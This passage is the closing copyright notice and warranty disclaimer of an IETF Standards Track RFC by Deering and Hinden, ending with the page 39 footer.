   others, and derivative works that comment on or otherwise explain it
   or assist in its implementation may be prepared, copied, published
   and distributed, in whole or in part, without restriction of any
   kind, provided that the above copyright notice and this paragraph are
   included on all such copies and derivative works.  However, this
   document itself may not be modified in any way, such as by removing
   the copyright notice or references to the Internet Society or other
   Internet organizations, except as needed for the purpose of
   developing Internet standards in which case the procedures for
   copyrights defined in the Internet Standards process must be
   followed, or as required to translate it into languages other than
   English.

   The limited permissions granted above are perpetual and will not be
   revoked by the Internet Society or its successors or assigns.

   This document and the information contained herein is provided on an
   "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING
   TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING
   BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION
   HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF
   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.

Deering & Hinden            Standards Track                    [Page 39]